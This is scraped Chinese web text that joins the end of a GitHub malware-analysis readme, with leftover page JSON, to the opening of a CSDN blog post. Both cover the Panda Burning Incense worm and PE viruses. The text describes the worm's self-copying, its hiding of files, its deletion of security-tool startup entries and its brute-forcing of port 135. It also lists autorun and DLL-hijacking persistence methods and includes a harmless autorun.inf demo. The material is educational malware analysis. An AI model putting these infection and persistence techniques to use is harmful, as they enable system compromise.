隐藏文件。\n​\t接着我们来看看RegDeleteValue:\n\n​\t可见恶意程序会将当时几乎所有的安全类工具的启动项都给删除。\nspoclsv.exe文件监控\n​\t对于文件的监控,主要是看病毒是否将自己复制到其他目录,或者是创建输出了哪些文件等,监控如下:\n\n\n​\t可见,恶意程序会在C:\\Windows\\system32\\drivers创建spoclsv.exe这个文件,然后会在C盘根目录创建setup.exe和autorun.inf,并且还会在一些目录生成Desktop_.ini文件。因为创建了这些文件之后就对注册表中的SHOWALL项进行了设置,使得隐藏文件无法显示,因此这些所创建出来的文件属性都是隐藏的。\nspoclsv.exe网络监控分析\n​\t在Process Monitor工具栏中只选择Show NetWork Activity,见如下图:\n\n​\t图中,192.168.200.x是我虚拟机的内网网段,可见恶意程序会不断的尝试连接我内网中的其他计算机,而且还会向47.74.46.59访问http发送和接受数据。\n行为总结\n\n熊猫烧香逆向分析\n​\t在这里我们利用逆向界的倚天剑和屠龙刀,IDA和OD来对熊猫烧香进行逆向分析,对其内部实现的原理有个了解,因为篇幅关系不会对整个程序彻底分析,而是挑拣一些重要内容进行分析。\nmain入口函数\n用“倚天剑”IDA Pro载入样本后可以看到如下图:\n图1是样本的main函数入口最开始的汇编代码,我们不从第一行汇编代码开始看,因为大部分内容都是Delphi自动生成的,我们只找关键位置来看。\n\n图2是和图1连在一起的,因为图片太长我就分两次截图了,我们这次任务就是分析这两张图中的细节。\n\nsub_403C98(AllocStrCpy)\nPart1:\n​\t我们在图1中可以看到有两个sub_403C98的函数,因为之前说过上面代码都是Delphi自动生成的,所以这里就不分析,我们最开始的地方应当是标红这位置开始分析:\n\n​\t在图中我们可以看到两处地方都有个edx寄存器赋值,我们之前说过Delphi程序用寄存器来传参数,所以这里的eax和edx都是call的参数,我们下面来仔细看看是什么数据给了edx。\nPart2:\n​\t双击dword_40CC40处,IDA会跳转到如下地方:\n\n​\t其实这些都是中文数据,只不过IDA Pro没有自动识别出来,我们可以按alt+a出现如下界面后选C-style,就可以在图中看到IDA Pro把数据识别成了***武*汉*男*生*感*染*下*载*者***的中文。\n\n\nPart3:\n​\t我们再来看看是什么数据给了eax寄存器,同样双击dword_40E7D4处,IDA Pro跳转如下:\n\n​\t可见IDA Pro跳转到了BSS段,我们可以猜测dword_40E7D4是一个未初始化的全局变量,接着我们来用屠龙刀OD 来验证下,call函数过后会把什么数据放入这个全局变量。\nPart4:\n​\t载入程序后,在0x0040CB7E地址处进行下断,然后F9运行到此位置:\n\n​\t接着我们鼠标右键数据窗口中跟随eax寄存器,此时在内存数据窗口中跳转到了eax寄存器的地址处,并且可以从如下图中看到0x0040E7D4处的内容是0,因为全局变量未初始化时候,编译器默认会将数据初始为0。\n\n​\t这时候我们F8单步步过Call后,可见有数据被写入到地址中了。\n\n​\t因为写入的是一个地址数据,所以我们要在内存窗口中右键长型->地址,来使得数据更加可视化。\n\n​\t其地址的内容就是Call函数传入的第2个参数字符串,***武*汉*男*生*感*染*下*载*者***。\n另外一个感谢艾玛,mopery对此木马的关注!~的Call也是用同样方式进行分析,作者不再赘述,至此我们分析出了sub_403C98函数的功能,并把他重命名为AllocStrCpy拷贝字符串到全局变量中。\n\nsub_405360(Decode)\n​\t接着继续分析第一张图的如下图的地方,从图中可见call sub_405360,有两个参数:(1)xboy,(2)一段看似加密的字符串\n\n​\t可见,经过Call后在ecx寄存器中得到了解密后的字符串***武*汉*男*生*感*染*下*载*者***。\n\n​\t接着,我们进入Call内部详细分析解密算法,首先:如下图有一个循环的地方值得我们注意,位置在0x4053D1\n\n​\t之后借助OD的单步调试并且观察寄存器和堆栈信息,逐一对这个循环中的内容进行详细分析:\n\n​\t我用C++代码还原了此汇编的加密算法,运行后得到的结果是一致的。\n\nDelphi逆向小技巧\n​\t其实Delphi有专门的反编译器,其效果不比IDA Pro差,甚至更胜一筹,其中值得比较推荐的一款就是IDR,点我下载。\nIDR能分析出IDA Pro无法识别的符号,而且对中文字符串的显示效果也很不错,点击SRC按钮还能反编译成Delphi伪代码。\n\n\n​\t它可以将符号表(Map)文件导出,便于我们在OD中载入符号表进行调试。\n\n\n\n​\t显示出了Delphi的符号,便于分析和调试。\n\nsub_404018(strcmp)\n​\t我们用了上面介绍的小技巧后,分析起来就轻松多了,这里直接分析出了sub_404018是一个strcmp字符串比较函数,用来比较解密后的字符串是否等同于全局变量。\n\n​\t这作者好像个智障有没有觉得,他直接把明文写在代码里面用来和解密后的字符串进行比较?那你还加密啥呢?别人不逆你这Decode也能知道解密后的字符串是什么了,真是无语这种写法。\n\n① sub_00408024(伪装)\n接下来就是逆向分析这3个Call了,首先我们来分析第一个Call:拷贝自身到系统目录进行伪装,并且设置为隐藏属性,接着用Winexec函数打开系统目录下伪装的程序,并且退出当前进程。\n\n\nPart1:\n​\tParamStr函数功能是根据索引返回命令行程序的参数,传入的是0返回结果是命令行程序的路径。\n\n​\t传入ParamStr返回来的绝对路径,Call过后返回来程序的目录路径,即C:\\Users\\Administrator\\Desktop,所以sub_00405684可以将其重命名为SubExePath。\n\n\nPart2:\n​\t接着会用strcat函数拼接成如下字符串C:\\Users\\Administrator\\Desktop\\Desktop_.ini:\n\n​\t传入字符串C:\\Users\\Administrator\\Desktop\\Desktop_.ini,Call 0x004057A4,用IDR进入这个函数分析后有明显的API函数,可以猜测此函数是将Desktop_.ini这个文件的最后写入时间转换成DOS时间。\n\n​\t断点的数据\n\n\n​\tDOS时间\n\n​\t这里面截图截错了,应该是前4个字节对应时间的数据,首先0x531E ,其中0x1E代表的年月日里面的日,其余数据对应的根据MSDN上的文档进行转换。\npart3:\n​\t我们part2分析的函数重命名为GetFileTime2DosTime,然后继续分析下面这一段代码。\n他会根据上面Part2的函数返回值进行判断,如果返回值为0就跳转也就是不存在Desktop_.ini文件就跳转,如果有存在Desktop_.ini文件存在则显示将属性设置为正常,然后再删除此文件。\n\npart4:\n​\t接着执行完流程后到达00408110位置处继续分析,一开始便是先获取了自身路径然后传入一个call,之后堆栈里面有个下载者相关的字符串信息这个先不管感觉没什么用,然后就是一些字符串的处理一路向下,最后到了红色标记方块处,从OD动态调试分析中可以看出他获取了系统目录然后拼接了成了字符串C:\\Windows\\system32\\drivers\\spoclsv.exe,不知道各位大佬还记不记得我们在行为分析的时候,就有分析出样本.exe会把自身拷贝到这个目录,达到伪装隐蔽的效果。\n\npart5:\n​\t猜测这下面应该就是用代码来实现拷贝自身到系统目录了,动静态分析后确实发现是将自身程序拷贝到系统目录改名位系统文件名进行伪装,并且设置属性为隐藏属性。\n\n接着程序就会运行在系统目录下的自身程序,并且退出当前的进程,当用OD call这个ExitProcess 程序就会退出跑飞。\n\n② sub_0040CA5C\n第二个Call: 创建一个线程,设置定时器,创建随机数,线程函数内网135端口批量爆破。\n\n​\t进入Call后分别有3个Call,第一个是创建线程。\n\n\n第二个Call是设置一个Timer计时器。\n\n第三个Call有创建随机数,然后调用线程函数运行sub_0040B76C\n\n\n③ sub_0040C97C\n第3个Call:终止定时器,设置4个新的计时器\n\n\n\n学习总结\n终于到此熊猫烧香都分析完了,从行为分析开始然后过渡到IDR软件静态分析,x32dbg动态调试分析,分析每个Call的用途,结合动静态进行验证猜测还原代码,希望各位能通过此篇文章学习到一些基础和技巧,个人水平有限文章内如有错误请指正谢谢。\n有不懂的或者想一起交流逆向分析、PWN、Web安全的可以加QQ群\n\n","renderedFileInfo":null,"shortPath":null,"symbolsEnabled":true,"tabSize":8,"topBannersInfo":{"overridingGlobalFundingFile":false,"globalPreferredFundingPath":null,"showInvalidCitationWarning":false,"citationHelpUrl":"https://docs.github.com/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-citation-files","actionsOnboardingTip":null},"truncated":false,"viewable":true,"workflowRedirectUrl":null,"symbols":{"timed_out":false,"not_analyzed":false,"symbols":[{"name":"恶意代码分析实战六、熊猫烧香病毒样本分析","kind":"section_1","ident_start":2,"ident_end":62,"extent_start":0,"extent_end":20027,"fully_qualified_name":"恶意代码分析实战六、熊猫烧香病毒样本分析","ident_utf16":{"start":{"line_number":0,"utf16_col":2},"end":{"line_number":0,"utf16_col":22}},"extent_utf16":{"start":{"line_number":0,"utf16_col":0},"end":{"line_number":342,"utf16_col":0}}},{"name":"熊猫烧香行为分析","kind":"section_2","ident_start":183,"ident_end":207,"extent_start":180,"extent_end":6621,"fully_qualified_name":"熊猫烧香行为分析","ident_utf16":{"start":{"line_number":4,"utf16_col":3},"end":{"line_number":4,"utf16_col":11}},"extent_utf16":{"start":{"line_number":4,"utf16_col":0},"end":{"line_number":114,"utf16_col":0}}},{"name":"查壳","kind":"section_3","ident_start":213,"ident_end":219,"extent_start":209,"extent_end":1335,"fully_qualified_name":"查壳","ident_utf16":{"start":{"line_number":6,"utf16_col":4},"end":{"line_number":6,"utf16_col":6}},"extent_utf16":{"start":{"line_number":6,"utf16_col":0},"end":{"line_number":23,"utf16_col":0}}},{"name":"简单静态分析","kind":"section_3","ident_start":1339,"ident_end":1357,"extent_start":1335,"extent_end":2267,"fully_qualified_name":"简单静态分析","ident_utf16":{"start":{"line_number":23,"utf16_col":4},"end":{"line_number":23,"utf16_col":10}},"extent_utf16":{"start":{"line_number":23,"utf16_col":0},"end":{"line_number":44,"utf16_col":0}}},{"name":"行为分析","kind":"section_3","ident_start":2271,"ident_end":2283,"extent_start":2267,"extent_end":6483,"fully_qualified_name":"行为分析","ident_utf16":{"start":{"line_number":44,"utf16_col":4},"end":{"line_number":44,"utf16_col":8}},"extent_utf16":{"start":{"line_number":44,"utf16_col":0},"end":{"line_number":109,"utf16_col":0}}},{"name":"进程树监控","kind":"section_4","ident_start":2290,"ident_end":2305,"extent_start":2285,"extent_end":3172,"fully_qualified_name":"进程树监控","ident_utf16":{"start":{"line_number":46,"utf16_col":5},"end":{"line_number":46,"utf16_col":10}},"extent_utf16":{"start":{"line_number":46,"utf16_col":0},"end":{"line_number":61,"utf16_col":0}}},{"name":"注册表监控","kind":"section_4","ident_start":3177,"ident_end":3192,"extent_start":3172,"extent_end":3624,"fully_qualified_name":"注册表监控","ident_utf16":{"start":{"line_number":61,"utf16_col":5},"end":{"line_number":61,"utf16_col":10}},"extent_utf16":{"start":{"line_number":61,"utf16_col":0},"end":{"line_number":69,"utf16_col":0}}},{"name":"文件监控","kind":"section_4","ident_start":3629,"ident_end":3641,"extent_start":3624,"extent_end":4192,"fully_qualified_name":"文件监控","ident_utf16":{"start":{"line_number":69,"utf16_col":5},"end":{"line_number":69,"utf16_col":9}},"extent_utf16":{"start":{"line_number":69,"utf16_col":0},"end":{"line_number":77,"utf16_col":0}}},{"name":"spoclsv.exe注册表监控","kind":"section_4","ident_start":4197,"ident_end":4223,"extent_start":4192,"extent_end":5244,"fully_qualified_name":"spoclsv.exe注册表监控","ident_utf16":{"start":{"line_number":77,"utf16_col":5},"end":{"line_number":77,"utf16_col":21}},"extent_utf16":{"start":{"line_number":77,"utf16_col":0},"end":{"line_number":91,"utf16_col":0}}},{"name":"spoclsv.exe文件监控","kind":"section_4","ident_start":5249,"ident_end":5272,"extent_start":5244,"extent_end":6043,"fully_qualified_name":"spoclsv.exe文件监控","ident_utf16":{"start":{"line_number":91,"utf16_col":5},"end":{"line_number":91,"utf16_col":20}},"extent_utf16":{"start":{"line_number":91,"utf16_col":0},"end":{"line_number":101,"utf16_col":0}}},{"name":"spoclsv.exe网络监控分析","kind":"section_4","ident_start":6048,"ident_end":6077,"extent_start":6043,"extent_end":6483,"fully_qualified_name":"spoclsv.exe网络监控分析","ident_utf16":{"start":{"line_number":101,"utf16_col":5},"end":{"line_number":101,"utf16_col":22}},"extent_utf16":{"start":{"line_number":101,"utf16_col":0},"end":{"line_number":109,"utf16_col":0}}},{"name":"行为总结","kind":"section_3","ident_start":6487,"ident_end":6499,"extent_start":6483,"extent_end":6621,"fully_qualified_name":"行为总结","ident_utf16":{"start":{"line_number":109,"utf16_col":4},"end":{"line_number":109,"utf16_col":8}},"extent_utf16":{"start":{"line_number":109,"utf16_col":0},"end":{"line_number":114,"utf16_col":0}}},{"name":"熊猫烧香逆向分析","kind":"section_2","ident_start":6624,"ident_end":6648,"extent_start":6621,"extent_end":19462,"fully_qualified_name":"熊猫烧香逆向分析","ident_utf16":{"start":{"line_number":114,"utf16_col":3},"end":{"line_number":114,"utf16_col":11}},"extent_utf16":{"start":{"line_number":114,"utf16_col":0},"end":{"line_number":332,"utf16_col":0}}},{"name":"main入口函数","kind":"section_3","ident_start":6905,"ident_end":6921,"extent_start":6901,"extent_end":7552,"fully_qualified_name":"main入口函数","ident_utf16":{"start":{"line_number":118,"utf16_col":4},"end":{"line_number":118,"utf16_col":12}},"extent_utf16":{"start":{"line_number":118,"utf16_col":0},"end":{"line_number":130,"utf16_col":0}}},{"name":"sub_403C98(AllocStrCpy)","kind":"section_3","ident_start":7556,"ident_end":7579,"extent_start":7552,"extent_end":10866,"fully_qualified_name":"sub_403C98(AllocStrCpy)","ident_utf16":{"start":{"line_number":130,"utf16_col":4},"end":{"line_number":130,"utf16_col":27}},"extent_utf16":{"start":{"line_number":130,"utf16_col":0},"end":{"line_number":182,"utf16_col":0}}},{"name":"Part1:","kind":"section_4","ident_start":7585,"ident_end":7593,"extent_start":7580,"extent_end":8158,"fully_qualified_name":"Part1:","ident_utf16":{"start":{"line_number":131,"utf16_col":5},"end":{"line_number":131,"utf16_col":11}},"extent_utf16":{"start":{"line_number":131,"utf16_col":0},"end":{"line_number":138,"utf16_col":0}}},{"name":"Part2:","kind":"section_4","ident_start":8163,"ident_end":8169,"extent_start":8158,"extent_end":8835,"fully_qualified_name":"Part2:","ident_utf16":{"start":{"line_number":138,"utf16_col":5},"end":{"line_number":138,"utf16_col":11}},"extent_utf16":{"start":{"line_number":138,"utf16_col":0},"end":{"line_number":150,"utf16_col":0}}},{"name":"Part3:","kind":"section_4","ident_start":8840,"ident_end":8848,"extent_start":8835,"extent_end":9299,"fully_qualified_name":"Part3:","ident_utf16":{"start":{"line_number":150,"utf16_col":5},"end":{"line_number":150,"utf16_col":11}},"extent_utf16":{"start":{"line_number":150,"utf16_col":0},"end":{"line_number":158,"utf16_col":0}}},{"name":"Part4:","kind":"section_4","ident_start":9304,"ident_end":9310,"extent_start":9299,"extent_end":10866,"fully_qualified_name":"Part4:","ident_utf16":{"start":{"line_number":158,"utf16_col":5},"end":{"line_number":158,"utf16_col":11}},"extent_utf16":{"start":{"line_number":158,"utf16_col":0},"end":{"line_number":182,"utf16_col":0}}},{"name":"sub_405360(Decode)","kind":"section_3","ident_start":10870,"ident_end":10888,"extent_start":10866,"extent_end":12128,"fully_qualified_name":"sub_405360(Decode)","ident_utf16":{"start":{"line_number":182,"utf16_col":4},"end":{"line_number":182,"utf16_col":22}},"extent_utf16":{"start":{"line_number":182,"utf16_col":0},"end":{"line_number":204,"utf16_col":0}}},{"name":"Delphi逆向小技巧","kind":"section_3","ident_start":12132,"ident_end":12153,"extent_start":12128,"extent_end":13372,"fully_qualified_name":"Delphi逆向小技巧","ident_utf16":{"start":{"line_number":204,"utf16_col":4},"end":{"line_number":204,"utf16_col":15}},"extent_utf16":{"start":{"line_number":204,"utf16_col":0},"end":{"line_number":226,"utf16_col":0}}},{"name":"sub_404018(strcmp)","kind":"section_3","ident_start":13376,"ident_end":13394,"extent_start":13372,"extent_end":14102,"fully_qualified_name":"sub_404018(strcmp)","ident_utf16":{"start":{"line_number":226,"utf16_col":4},"end":{"line_number":226,"utf16_col":22}},"extent_utf16":{"start":{"line_number":226,"utf16_col":0},"end":{"line_number":236,"utf16_col":0}}},{"name":"① sub_00408024(伪装)","kind":"section_3","ident_start":14106,"ident_end":14130,"extent_start":14102,"extent_end":18203,"fully_qualified_name":"① sub_00408024(伪装)","ident_utf16":{"start":{"line_number":236,"utf16_col":4},"end":{"line_number":236,"utf16_col":22}},"extent_utf16":{"start":{"line_number":236,"utf16_col":0},"end":{"line_number":300,"utf16_col":0}}},{"name":"Part1:","kind":"section_4","ident_start":14500,"ident_end":14506,"extent_start":14495,"extent_end":15177,"fully_qualified_name":"Part1:","ident_utf16":{"start":{"line_number":242,"utf16_col":5},"end":{"line_number":242,"utf16_col":11}},"extent_utf16":{"start":{"line_number":242,"utf16_col":0},"end":{"line_number":254,"utf16_col":0}}},{"name":"Part2:","kind":"section_4","ident_start":15182,"ident_end":15188,"extent_start":15177,"extent_end":16350,"fully_qualified_name":"Part2:","ident_utf16":{"start":{"line_number":254,"utf16_col":5},"end":{"line_number":254,"utf16_col":11}},"extent_utf16":{"start":{"line_number":254,"utf16_col":0},"end":{"line_number":276,"utf16_col":0}}},{"name":"part3:","kind":"section_4","ident_start":16355,"ident_end":16361,"extent_start":16350,"extent_end":16830,"fully_qualified_name":"part3:","ident_utf16":{"start":{"line_number":276,"utf16_col":5},"end":{"line_number":276,"utf16_col":11}},"extent_utf16":{"start":{"line_number":276,"utf16_col":0},"end":{"line_number":284,"utf16_col":0}}},{"name":"part4:","kind":"section_4","ident_start":16835,"ident_end":16841,"extent_start":16830,"extent_end":18203,"fully_qualified_name":"part4:","ident_utf16":{"start":{"line_number":284,"utf16_col":5},"end":{"line_number":284,"utf16_col":11}},"extent_utf16":{"start":{"line_number":284,"utf16_col":0},"end":{"line_number":300,"utf16_col":0}}},{"name":"part5:","kind":"section_5","ident_start":17578,"ident_end":17586,"extent_start":17572,"extent_end":18203,"fully_qualified_name":"part5:","ident_utf16":{"start":{"line_number":290,"utf16_col":6},"end":{"line_number":290,"utf16_col":12}},"extent_utf16":{"start":{"line_number":290,"utf16_col":0},"end":{"line_number":300,"utf16_col":0}}},{"name":"② sub_0040CA5C","kind":"section_3","ident_start":18207,"ident_end":18223,"extent_start":18203,"extent_end":19135,"fully_qualified_name":"② sub_0040CA5C","ident_utf16":{"start":{"line_number":300,"utf16_col":4},"end":{"line_number":300,"utf16_col":18}},"extent_utf16":{"start":{"line_number":300,"utf16_col":0},"end":{"line_number":322,"utf16_col":0}}},{"name":"③ sub_0040C97C","kind":"section_3","ident_start":19139,"ident_end":19155,"extent_start":19135,"extent_end":19462,"fully_qualified_name":"③ sub_0040C97C","ident_utf16":{"start":{"line_number":322,"utf16_col":4},"end":{"line_number":322,"utf16_col":18}},"extent_utf16":{"start":{"line_number":322,"utf16_col":0},"end":{"line_number":332,"utf16_col":0}}},{"name":"学习总结","kind":"section_2","ident_start":19465,"ident_end":19477,"extent_start":19462,"extent_end":20027,"fully_qualified_name":"学习总结","ident_utf16":{"start":{"line_number":332,"utf16_col":3},"end":{"line_number":332,"utf16_col":7}},"extent_utf16":{"start":{"line_number":332,"utf16_col":0},"end":{"line_number":342,"utf16_col":0}}}]}},"copilotInfo":null,"copilotAccessAllowed":false,"csrf_tokens":{"/Vxer-Lee/MalwareAnalysis/branches":{"post":"Z2b-eHHuHs7ISPAGCq2owUWHRSmYpQSfAS_C1EH3HmTzoYt0ty2kYzaRycN8C6DA5jaNRqc1xT4J-QCVTA74Qw"},"/repos/preferences":{"post":"rf3U3JexaV6G67cJIjRfJQbz4OHO7PqZdSJtzS34ELD6wiyOYwGAi13brVcT5gsi5mkDryuj3EYIu6NNjTaSNQ"}}},"title":"MalwareAnalysis/6. 熊猫烧香病毒分析/readme.md at master · Vxer-Lee/MalwareAnalysi

[安全攻防进阶篇] 八.那些年的熊猫烧香及PE病毒行为机理分析-CSDN博客

>

[安全攻防进阶篇] 八.那些年的熊猫烧香及PE病毒行为机理分析-CSDN博客

[安全攻防进阶篇] 八.那些年的熊猫烧香及PE病毒行为机理分析

最新推荐文章于 2023-08-03 10:45:00 发布

Eastmount

最新推荐文章于 2023-08-03 10:45:00 发布

阅读量1.7w

收藏

147

点赞数

45

分类专栏:

安全攻防进阶篇

渗透&攻防

文章标签:

恶意代码分析

系统安全

逆向分析

熊猫烧香

原理解析

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

本文链接:https://blog.csdn.net/Eastmount/article/details/107776332

版权

安全攻防进阶篇

同时被 2 个专栏收录

24 篇文章

222 订阅

订阅专栏

渗透&攻防

14 篇文章

139 订阅

订阅专栏

如果你想成为一名逆向分析或恶意代码检测工程师,或者对系统安全非常感兴趣,就必须要认真分析一些恶意样本。熊猫烧香病毒就是一款非常具有代表性的病毒,当年造成了非常大的影响,并且也有一定技术手段。本文将详细讲解熊猫烧香的行为机理,并通过软件对其功能行为进行分析,这将有助于我们学习逆向分析和反病毒工作。后续作者还将对其进行逆向调试,以及WannaCry勒索蠕虫、各种恶意样本及木马的分析。基础性文章,希望您喜欢!同时,本文部分实验参考姜晔老师的视频分析,真的非常佩服和值得去学习的一位老师。技术路上哪有享乐,为了提升安全能力,别抱怨,干就对了~

从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!

接下来我将开启新的安全系列,叫“安全攻防进阶篇”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~

推荐前文:网络安全自学篇系列-100篇

话不多说,让我们开始新的征程吧!您的点赞、评论、收藏将是对我最大的支持,感恩安全路上一路前行,如果有写得不好或侵权的地方,可以联系我删除。基础性文章,希望对您有所帮助,作者目的是与安全人共同进步,加油~

文章目录

一.PE病毒概念二.什么是熊猫烧香病毒三.熊猫烧香病毒行为分析四.样本运行及查杀防御五.Procmon检测病毒行为1.软件基本介绍2.病毒行为检测

六.总结

作者的github资源: 逆向分析:https://github.com/eastmountyxz/Reverse-Analysis-Case 软件安全:https://github.com/eastmountyxz/Software-Security-Course 网络安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)

前文回顾: [安全攻防进阶篇] 一.什么是逆向分析、逆向分析应用及经典扫雷游戏逆向 [安全攻防进阶篇] 二.如何学好逆向分析、逆向路线推荐及吕布传游戏逆向案例 [安全攻防进阶篇] 三.OllyDbg和Cheat Engine工具逆向分析植物大战僵尸游戏 [安全攻防进阶篇] 四.逆向分析之条件语句和循环语句源码还原及流程控制逆向 [安全攻防进阶篇] 五.逆向分析之Win32 API获取及加解密目录文件、OllyDbg逆向其原理 [安全攻防进阶篇] 六.逆向分析之OllyDbg逆向CrackMe01-02及加壳判断 [安全攻防进阶篇] 七.恶意样本检测之编写代码自动提取IAT表、字符串及时间戳溯源

一.PE病毒概念

首先简单给大家普及下PE病毒的基础概念和分类,方便大家理解熊猫烧香病毒的行为。

什么是PE病毒? PE病毒是以Windows PE程序为载体,能寄生于PE文件或Windows系统的病毒程序。PE病毒数量非常之多,包括早起的CIH病毒,全球第一个可以破坏计算机硬件的病毒,它会破坏主办的BIOS,对其数据进行擦写修改。再比如熊猫烧香、机器狗等等,其危害非常之大。

什么叫感染? 说到病毒,不得不提感染。感染是指在尽量不影响目标程序(系统)正常功能的前提下,而使其具有病毒自身的功能。什么叫病毒自身的功能呢?一个病毒通常包括如下模块:

感染模块: 被感人程序同样具备感染能力触发模块: 在特定条件下实施相应的病毒功能,比如日期、键盘输入等破坏模块其他模块

编写病毒的核心技术 如果我们要编写PE病毒,则需要掌握以下的关键技术:

病毒的重定位获取API函数地址文件搜索内存映射文件病毒如何感染其他文件病毒如何返回到Host程序

PE病毒分类 以感染目标进行分类,包括:

文件感染型 将代码寄生在PE文件,病毒本身只是PE文件的一部分,依赖于感染目标,通常也叫HOST文件,控制权获得也是以目标程序运行来获得的。它分为传统感染型(以Win32汇编程序编写为主)和捆绑释放型(编写难度较低,通过高级语言均可编写,将目标程序和病毒程序捆在一起,和捆绑器有相似之处)。系统感染型 将代码或程序寄生在Windows操作系统,该类病毒越来越多,它不感染具体文件,但是它会在操作系统中保存自己的实体。同时也可以通过系统启动的方法来获取控制权。传播途径包括:即时通信软件(如QQ尾巴)、U盘、光盘、电子邮件、网络共享、其他途径等。

熊猫烧香病毒属于捆绑释放型,其感染实现起来比较简单,目前很大一部分病毒程序都采用这种方法。捆绑释放型感染时将目标HOST程序作为数据存储在病毒体内,当执行病毒程序时,它先执行病毒程序,然后还原并执行HOST文件,从而保证被感染的程序本身能正常运行,不会引起一些异样。如下图所示,左边是一个正常程序(QQ),感染之后会将病毒放在前面,正常程序放在后面,程序运行之后,病毒会拿到控制权。但缺点是程序图标会显示前面的病毒程序,显示熊猫烧香,这是一个明显的被感染特征。

常见自启动方式 PE病毒运行之后,需要使用自启动技术保证下次开机再运行。常见的自启动方式包括:

注册表中的键值 特定路径的特定文件 系统中的特定位置,如Explorer.exe(显示桌面)。 利用系统自动播放机制Autorun.inf 比如U盘病毒或光盘病毒就是利用U盘或光盘的自动播放功能。目前,也有一些U盘插入之后,不需要你去双击这个U盘,里面的程序就会自启动。 在其他可执行文件嵌入少量触发代码 比如修改引入函数节启动DLL病毒文件(添加相应结构,初始化代码触发),或在特定PE文件代码段插入触发代码等(只需定位可执行程序并运行)。 DLL劫持:替换已有DLL文件 很多应用程序或操作系统执行时,都会去执行DLL文件,如果病毒将自身做成一个DLL文件,同时将系统DLL文件替换。可想而知,系统启动时,它是根据文件名启动的,此时病毒DLL文件就会拿到控制权,如果拿到控制权之后再进一步装载原始DLL文件,这样系统的本身机制也不会受到影响,隐蔽性更强。该方法非常常见,甚至有一些病毒程序将反病毒软件可依赖的DLL文件替换。

下图展示了Autoruns软件看到Windows操作系统进行自启动的选项。如果病毒本身能很好地结合这套机制,它可以做的事情非常多,并且具有很好的隐蔽性。

再比如我们之前分享的WinRAR漏洞(CVE-2018-20250),当恶意ACE文件被受害者解压之后,会释放恶意木马至指定目录(系统自启动文件夹),受害者重启电脑会执行恶意木马。如下图所示:

[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持

常见传播方式 一切可对外交互的渠道都可传播,包括:

各类存储设备(软盘、光盘、U盘、移动硬盘、智能设备)各类网络通信方式(QQ、MSN、Email、淘宝旺旺、微信、微博等)各类网络连接方式(有线、wifi、蓝牙等)各类网络应用(迅雷、BT等)

比如通过可移动存储设备传播的非感染式病毒,即Autorun.inf。下图显示了Autorun.inf文件,如果文件存在U盘根目录,当我们双击这个U盘时,它就会触发对应的病毒,如果选择U盘盘符右键打开或打开资源管理器,这是进入的也是病毒程序。当然演示的是计算器程序。

[AutoRun]

open=mspaint.exe

shell\open=打开(&O)

shell\open\Command=calc.exe

shell\open\Default=1

shell\explore=资源管理器(&X)

shell\explore\Command=calc.exe

最后展示Stuxnet震网事件的漏洞利用过程和启动方式,传统的Autorun方式很容易被禁止掉,而Stuxnet利用的是lnk漏洞(MS10-046),它会在目标U盘下放入lnk快捷方式及病毒程序(如DLL文件)。不管通过什么方式进入U盘,lnk文件会被解析从而触发漏洞,导致U盘中的病毒程序被执行,所以0Day漏洞也越来越多应用到安全攻击中。

二.什么是熊猫烧香病毒

熊猫烧香(Worm.WhBoy)是一款拥有自动传播、自动感染硬盘能力和强大的破坏能力的病毒,它不但能感染系统中exe、com、pif、src、html、asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件。该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。2006年10月16日由25岁的湖北武汉李俊编写,2007年1月初肆虐网络,它主要通过下载的文件传染传播。

2006-2007年,“熊猫烧香”可谓是轰动一时。时隔多年,当我们回过头再次来看该事件,“熊猫烧香”的破坏力远大于其技术含量,尤其是对网络信息安全产生深远的影响,毕竟它是第一个让中国普通用户对木马病毒有所认识和感知的。现在从技术角度来看,熊猫烧香病毒技术水平一般,但病毒作者在当时运用的各类技术手法还是值得安全人参考和借鉴的。

首先其可以感染exe文件,也可以将以.gho结尾的文件删除其次是将源病毒感染到Web文件,使网页成为它传播的介质然后在传播层面,病毒作者使用众多传播途径最后是具备一定的对抗杀软能力

正如腾讯安全联合实验室文章说的一样(见参考文献),熊猫烧香病毒如果是放在现在,这些基本是所有病毒木马常见、必备的技术,但技术不可同日而语。随着人工智能、大数据、云计算区块链等先进技术的不断发展,病毒作者也将这些技术手段运用到各类安全攻击中危害大家。典型的包括:

勒索病毒:在2017年5月12日,一款名为WannaCry勒索病毒通过MS17-010漏洞在全球范围大爆发,感染了大量的计算机。此后,Petya、Bad Rabbit、GlobeImposter等勒索病毒相继对企业及机构发起攻击。挖矿木马:伴随着比特币等虚拟数字货币交易火爆的同时,越来越多的人利用数字虚拟币交易大发横财,吸引大量黑产从业人员进入挖矿产业,这也是为什么2017年之后披露的挖矿木马攻击事件数量呈现出爆发式的增长。APT攻击:当前鱼叉攻击、水坑攻击、远程可执行漏洞和密码爆破攻击等手段依然是APT攻击的最主要方式。未来,Fileless攻击、将通信的C&C服务器存放在公开的社交网站上、使用公开或者开源工具、多平台攻击和跨平台攻击将成APT攻击技术的主要发展趋势。IoT攻击:黑客通常通过设备弱口令或者远程命令执行漏洞对IoT设备进行攻击,攻击者通过蠕虫感染或者自主的批量攻击来控制批量目标设备,构建僵尸网络,IoT设备成为了黑客最新热爱的武器。

除此之外,供应链攻击、AI对抗样本、视频语音欺骗等攻击延伸都是未来黑客技术的发展趋势,这些都应该引起我们足够的重视。这些病毒事件一方面会警醒我们网络空间安全,另一方面也会督促我们安全人员不断思考和对抗。未知攻,焉知防。

三.熊猫烧香病毒行为分析

